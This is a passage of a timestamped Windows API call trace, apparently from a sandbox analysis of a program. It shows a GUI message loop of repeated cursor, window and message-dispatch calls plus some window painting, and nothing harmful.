(lpMsg=0x18ff1c) returned 0 [0268.383] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0268.395] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0268.396] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0268.396] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0268.396] WindowFromPoint (Point=0x2e6) returned 0x1034c [0268.396] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21702e6) returned 0x1 [0268.396] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0268.396] GetCurrentProcessId () returned 0x8d0 [0268.396] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0268.396] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0268.396] GetCapture () returned 0x0 [0268.396] WaitMessage () returned 1 [0268.445] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0268.445] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0268.445] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0268.445] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0268.446] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0268.446] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0268.446] WindowFromPoint (Point=0x2e0) returned 0x1034c [0268.446] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21602e0) returned 0x1 [0268.446] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0268.446] GetCurrentProcessId () returned 0x8d0 [0268.446] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0268.446] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0268.446] GetCapture () returned 0x0 [0268.446] WaitMessage () returned 1 [0268.507] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0268.507] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0268.507] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0268.507] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0268.508] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0268.508] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0268.508] WindowFromPoint (Point=0x2e8) returned 0x1034c [0268.508] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21a02e8) returned 0x1 [0268.508] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0268.508] GetCurrentProcessId () returned 0x8d0 [0268.508] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0268.508] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0268.508] GetCapture () returned 0x0 [0268.508] WaitMessage () returned 1 [0268.570] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0268.570] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0268.570] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0268.570] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0268.570] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0268.570] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0268.571] WindowFromPoint (Point=0x2e6) returned 0x1034c [0268.571] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21d02e6) returned 0x1 [0268.571] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0268.571] GetCurrentProcessId () returned 0x8d0 [0268.571] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0268.571] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0268.571] GetCapture () returned 0x0 [0268.571] WaitMessage () returned 1 [0268.634] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0268.634] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0268.634] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0268.634] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0268.635] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0268.635] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0268.635] WindowFromPoint (Point=0x2e8) returned 0x1034c [0268.635] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21a02e8) returned 0x1 [0268.635] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0268.635] GetCurrentProcessId () returned 0x8d0 [0268.635] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0268.635] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0268.635] GetCapture () returned 0x0 [0268.635] WaitMessage () returned 1 [0268.695] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0268.695] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0268.695] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0268.695] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0268.695] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0268.695] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0268.695] WindowFromPoint (Point=0x2e8) returned 0x1034c [0268.695] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21c02e8) returned 0x1 [0268.696] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0268.696] GetCurrentProcessId () returned 0x8d0 [0268.696] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0268.696] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0268.696] GetCapture () returned 0x0 [0268.696] WaitMessage () returned 1 [0268.757] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0268.757] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0268.757] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0268.757] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0268.758] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0268.758] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0268.758] WindowFromPoint (Point=0x2f1) returned 0x1034c [0268.758] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x22102f1) returned 0x1 [0268.758] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0268.758] GetCurrentProcessId () returned 0x8d0 [0268.758] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0268.758] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0268.758] GetCapture () returned 0x0 [0268.758] WaitMessage () returned 1 [0268.819] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0268.819] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0268.819] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0268.820] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0268.820] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0268.820] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0268.820] WindowFromPoint (Point=0x2e8) returned 0x1034c [0268.820] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21a02e8) returned 0x1 [0268.820] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0268.820] GetCurrentProcessId () returned 0x8d0 [0268.820] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0268.820] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0268.820] GetCapture () returned 0x0 [0268.820] WaitMessage () returned 1 [0268.882] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0268.882] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0268.882] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0268.882] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0268.882] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0268.882] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0268.883] WindowFromPoint (Point=0x2e5) returned 0x1034c [0268.883] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21a02e5) returned 0x1 [0268.883] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0268.883] GetCurrentProcessId () returned 0x8d0 [0268.883] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0268.883] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0268.883] GetCapture () returned 0x0 [0268.883] WaitMessage () returned 1 [0268.944] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0268.945] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0268.945] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0268.945] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0268.945] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0268.946] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0268.946] WindowFromPoint (Point=0x2e8) returned 0x1034c [0268.946] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21a02e8) returned 0x1 [0268.946] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0268.946] GetCurrentProcessId () returned 0x8d0 [0268.946] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0268.946] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0268.946] GetCapture () returned 0x0 [0268.946] WaitMessage () returned 1 [0269.006] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0269.006] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0269.007] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0269.007] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0269.007] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0269.007] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0269.007] WindowFromPoint (Point=0x2e6) returned 0x1034c [0269.007] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21d02e6) returned 0x1 [0269.007] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0269.007] GetCurrentProcessId () returned 0x8d0 [0269.007] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0269.007] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0269.007] GetCapture () returned 0x0 [0269.007] WaitMessage () returned 1 [0269.069] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0269.069] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0269.069] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0269.069] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0269.070] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0269.070] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0269.070] WindowFromPoint (Point=0x2ce) returned 0x1034c [0269.070] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x22102ce) returned 0x1 [0269.070] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0269.070] GetCurrentProcessId () returned 0x8d0 [0269.070] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0269.070] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0269.070] GetCapture () returned 0x0 [0269.070] WaitMessage () returned 1 [0269.134] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0269.135] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0269.135] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0269.135] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0269.135] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0269.135] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0269.135] WindowFromPoint (Point=0x2e8) returned 0x1034c [0269.135] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21a02e8) returned 0x1 [0269.135] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0269.135] GetCurrentProcessId () returned 0x8d0 [0269.135] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0269.135] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0269.135] GetCapture () returned 0x0 [0269.136] WaitMessage () returned 1 [0269.196] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0269.196] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0269.196] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0269.196] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0269.196] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0269.196] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0269.196] WindowFromPoint (Point=0x2ea) returned 0x1034c [0269.196] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21802ea) returned 0x1 [0269.196] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0269.196] GetCurrentProcessId () returned 0x8d0 [0269.196] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0269.197] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0269.197] GetCapture () returned 0x0 [0269.197] WaitMessage () returned 1 [0269.258] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0269.258] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0269.258] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0269.258] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0269.258] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0269.258] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0269.258] WindowFromPoint (Point=0x2e8) returned 0x1034c [0269.258] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21a02e8) returned 0x1 [0269.258] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0269.258] GetCurrentProcessId () returned 0x8d0 [0269.259] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0269.259] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0269.259] GetCapture () returned 0x0 [0269.259] WaitMessage () returned 1 [0269.320] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0269.320] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0269.320] DispatchMessageA (lpMsg=0x18ff1c) returned 0x5a6c00 [0269.321] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0269.321] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0269.321] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0269.321] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0269.321] IsIconic (hWnd=0xc0060) returned 0 [0269.321] IsIconic (hWnd=0xc0060) returned 0 [0269.321] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f7a8 | out: lpRect=0x18f7a8) returned 1 [0269.321] FillRect (hDC=0x3b01069e, lprc=0x18f7a8, hbr=0xe100186) returned 1 [0269.322] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x3b01069e, lParam=0x4) returned 0x0 [0269.322] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x3b01069e, lParam=0x10340) returned 0xe100186 [0269.322] GetSysColor (nIndex=8) returned 0x0 [0269.322] SetTextColor (hdc=0x3b01069e, color=0x0) returned 0x0 [0269.322] GetSysColor (nIndex=15) returned 0xf0f0f0 [0269.322] SetBkColor (hdc=0x3b01069e, color=0xf0f0f0) returned 0xf0f0f0 [0269.322] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0269.322] GetCurrentProcessId () returned 0x8d0 [0269.322] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0269.322] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0269.322] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0269.322] GetCurrentProcessId () returned 0x8d0 [0269.322] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0269.322] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0269.323] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0269.323] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18e78c) returned 0x7 [0269.323] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18e764) returned 0x7 [0269.324] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0269.324] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0269.324] WindowFromPoint (Point=0x2e9) returned 0x1034c [0269.324] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21a02e9) returned 0x1 [0269.324] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0269.324] GetCurrentProcessId () returned 0x8d0 [0269.324] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0269.324] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0269.324] GetCapture () returned 0x0 [0269.324] WaitMessage () returned 1 [0269.381] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0269.381] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0269.381] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0269.381] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0269.381] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0269.382] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0269.382] WindowFromPoint (Point=0x2f0) returned 0x1034c [0269.382] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x22102f0) returned 0x1 [0269.382] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0269.382] GetCurrentProcessId () returned 0x8d0 [0269.382] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0269.382] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0269.382] GetCapture () returned 0x0 [0269.382] WaitMessage () returned 1 [0269.443] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0269.443] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0269.443] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0269.443] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0269.444] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0269.444] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=744, y=538)) returned 1 [0269.444] WindowFromPoint (Point=0x2e8) returned 0x1034c [0269.444] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x84, wParam=0x0, lParam=0x21a02e8) returned 0x1 [0269.444] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0269.444] GetCurrentProcessId () returned 0x8d0 [0269.444] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0269.444] ClientToScreen (in: hWnd=0x1034c, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0269.444] GetCapture () returned 0x0 [0269.444] WaitMessage () returned 1 [0269.506] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 